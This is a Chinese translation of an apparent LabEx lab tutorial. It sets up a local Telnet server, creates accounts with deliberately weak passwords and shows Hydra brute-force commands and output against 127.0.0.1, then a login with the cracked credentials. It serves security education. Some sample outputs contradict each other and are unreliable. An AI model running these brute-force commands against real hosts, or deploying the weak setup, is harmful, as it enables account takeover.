使用 Hydra 攻击 Telnet 服务

HydraHydraBeginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在这个实验中,你将学习如何使用多功能密码破解工具 Hydra 对 Telnet 服务进行暴力攻击。你将搭建一个易受攻击的 Telnet 环境,并使用 Hydra 演示如何利用弱凭证。

本实验涵盖 Telnet 服务器配置、创建测试凭证以及执行 Hydra 攻击,以凸显安全风险。通过实践操作,你将了解为什么 Telnet 不安全,并认识到使用加密替代方案的重要性。

安装本地 Telnet 服务器

在这一步中,你将在你的 LabEx 虚拟机上安装一个 Telnet 服务器,以创建一个本地测试环境。Telnet 是最古老的网络协议之一,允许远程访问系统。然而,它以明文形式传输所有数据(包括密码),不进行加密,这使得它在实际应用中极不安全,但非常适合用于学习安全测试概念。

  1. 首先,更新你的软件包列表,以确保你获得最新版本。在安装任何新软件之前,这是一个很好的做法:
sudo apt update
  1. 安装 Telnet 服务器软件包(xinetd)。xinetd 是一个管理 Telnet 连接的超级服务器。-y 标志会在安装过程中自动确认所有提示:
sudo apt install -y xinetd telnetd
  1. /etc/xinetd.d/telnet 处创建 Telnet 配置文件。我们将使用 nano,这是一个大多数 Linux 系统都自带的简单文本编辑器:
sudo nano /etc/xinetd.d/telnet
  1. 添加以下配置(按 Ctrl+O 保存,然后按 Ctrl+X 退出)。此配置启用 Telnet 服务并设置基本参数。disable = no 这一行尤为重要,因为它会激活该服务:
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. 重启 xinetd 服务以应用更改。配置修改后,服务通常需要重启:
sudo service xinetd restart
  1. 验证 Telnet 服务是否正在运行。端口 23 是 Telnet 的默认端口。netstat 命令会显示活动的网络连接和监听端口:
sudo netstat -tulnp | grep 23

你应该会看到类似以下的输出,表明 Telnet 服务正在端口 23 上监听:

tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      1234/xinetd

配置 Telnet 测试账户

在这一步中,你将创建用于 Hydra 暴力攻击演示的测试账户。这些账户代表了在实际系统中常见的弱凭证,使我们能够安全地演示攻击者如何利用不良的密码设置。

  1. 首先,使用 useradd 命令创建三个测试用户账户。-m 标志确保为每个用户创建主目录:
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. 现在为这些账户设置简单的密码。我们使用常见的弱密码('password'、'123456'、'qwerty')来模拟现实世界中的漏洞。chpasswd 命令可以安全地更改密码,无需交互式提示:
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. 通过检查系统的密码文件来验证账户是否成功创建。grep 命令用于在 /etc/passwd 中过滤我们的测试用户,该文件存储了所有用户账户信息:
grep -E 'user1|user2|user3' /etc/passwd

你应该会看到类似以下的输出:

user1:x:1001:1001::/home/user1:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
user3:x:1003:1003::/home/user3:/bin/sh
  1. 在你的项目目录中为 Hydra 攻击创建凭证文件。这些文本文件将作为 Hydra 在暴力破解尝试期间的用户名和密码组合输入:
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. 验证凭证文件包含正确的信息。cat 命令用于显示文件内容——我们检查这两个文件,以确保其格式符合 Hydra 的要求:
cat usernames.txt && cat passwords.txt

你应该会看到:

user1
user2
user3
password
123456
qwerty

加载用户名和密码文件

在这一步中,你将准备 Hydra 用于暴力攻击的凭证文件。这些文件包含了我们在上一步中创建的用户名和密码。暴力攻击的原理是系统地尝试所有可能的凭证组合,直到找到正确的组合。拥有组织良好的凭证文件可以使这个过程更加高效。

  1. 首先,验证凭证文件是否存在于你的项目目录中。这很重要,因为 Hydra 需要这些文件来执行攻击:
cd ~/project
ls -l usernames.txt passwords.txt

你应该会看到类似以下的输出:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. 查看两个文件的内容,以确认它们的格式是否正确。每个用户名和密码都应该单独占一行,因为 Hydra 是逐行读取这些文件的:
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

预期输出:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. 为了测试目的,创建一个组合凭证文件。这个组合文件将用户名和密码对并排显示,有助于验证它们是否正确匹配:
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

这将显示:

user1   password
user2   123456
user3   qwerty
  1. 如果尚未安装 Hydra(不过在 LabEx 虚拟机中应该已经预装),则进行安装。Hydra 是我们用于对 Telnet 服务执行暴力攻击的工具:
sudo apt install -y hydra hydra-gtk
  1. 验证 Hydra 是否已安装并检查其版本。了解版本信息有助于在排查问题或查找特定功能时提供帮助:
hydra -h | head -n 5

你应该会看到 Hydra 的帮助输出,开头如下:

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

对 Telnet 服务运行 Hydra 攻击

在这一步中,你将使用 Hydra 利用之前准备好的凭证文件对本地 Telnet 服务器进行暴力攻击。Hydra 是一款流行的密码破解工具,支持包括 Telnet 在内的多种协议。攻击将系统地尝试文件中的所有用户名/密码组合。

  1. 首先,确保你位于存储凭证文件的项目目录中。这很重要,因为 Hydra 需要访问这些文件:
cd ~/project
  1. 现在,对本地 Telnet 服务运行 Hydra(127.0.0.1 是指向你自己机器的回环地址)。-L 标志指定用户名列表,-P 指定密码列表:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. 当 Hydra 运行时,它将显示实时进度。每一行显示一次尝试的组合。成功时,它将显示有效的凭证,如下所示:
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 1 valid password found
  1. 为了保存结果以便记录或进一步分析,使用 -o 标志,后面跟上输出文件名:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. 攻击完成后,你可以查看结果文件,了解哪些凭证有效:
cat hydra_results.txt

显示成功登录尝试的示例输出:

[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. 出于学习目的,你可能想详细查看每次尝试。-vV 标志启用详细模式,显示 Hydra 尝试的每个组合:
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

详细输出将如下所示,显示失败和成功的尝试:

[VERBOSE] Attempting user1:password... [SUCCESS]

检查 Telnet 攻击输出

在这一步中,你将分析 Hydra 对 Telnet 服务进行暴力攻击的结果,以了解哪些凭证已被破解。Hydra 会针对该服务测试多个用户名/密码组合,输出文件包含了所有成功登录以及失败尝试的信息。

  1. 首先,进入 Hydra 保存结果的项目目录,并查看完整的输出文件:
cd ~/project
cat hydra_results.txt

示例输出展示了成功登录的格式。每行包含协议(telnet)、目标 IP 地址和破解的凭证:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. 为了从可能较大的输出文件中仅筛选出成功的登录尝试,使用 grep 查找包含 "login:" 的行:
grep "login:" hydra_results.txt
  1. 通过使用发现的凭证手动尝试 Telnet 登录来验证被破解的账户。这可以确认 Hydra 的发现,并展示攻击者如何使用窃取的凭证:
telnet 127.0.0.1

在登录提示处输入:

user1
password

成功登录后将显示服务器欢迎消息和命令提示符:

Welcome to LabEx Telnet Server
user1@localhost:~$

测试完成后,输入 exit 退出 Telnet 会话。

  1. 创建一份专业的被破解账户摘要报告用于记录。这将创建一个新文件,其中包含格式化的结果和数量统计:
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt
  1. 为了进一步验证,检查 Telnet 服务器的认证日志。这些系统日志可以独立确认登录尝试,并有助于了解攻击模式:
sudo grep telnet /var/log/auth.log

服务器日志显示详细的认证事件,包括时间戳和成功/失败状态:

May 1 10:00:00 labex in.telnetd[1234]: connect from 127.0.0.1 (127.0.0.1)
May 1 10:00:01 labex login: pam_unix(telnet:auth): authentication failure; logname= uid=0 euid=0 tty=telnet ruser= rhost=127.0.0.1  user=user3
May 1 10:00:02 labex login: pam_unix(telnet:session): session opened for user user1 by (uid=0)

总结

在本次实验中,你学习了如何使用 xinetd 搭建一个易受攻击的 Telnet 服务器环境,并使用弱凭证进行安全测试。这个过程包括在端口 23 上配置 Telnet 服务,以及创建故意使用弱密码的测试账户,以展示认证漏洞。

本次练习强调了使用像 Telnet 这样的未加密协议所带来的安全风险,以及实施强密码策略的至关重要性。通过使用 Hydra 进行的实际演示,你可以看到暴力攻击是多么容易攻破具有弱认证机制的系统。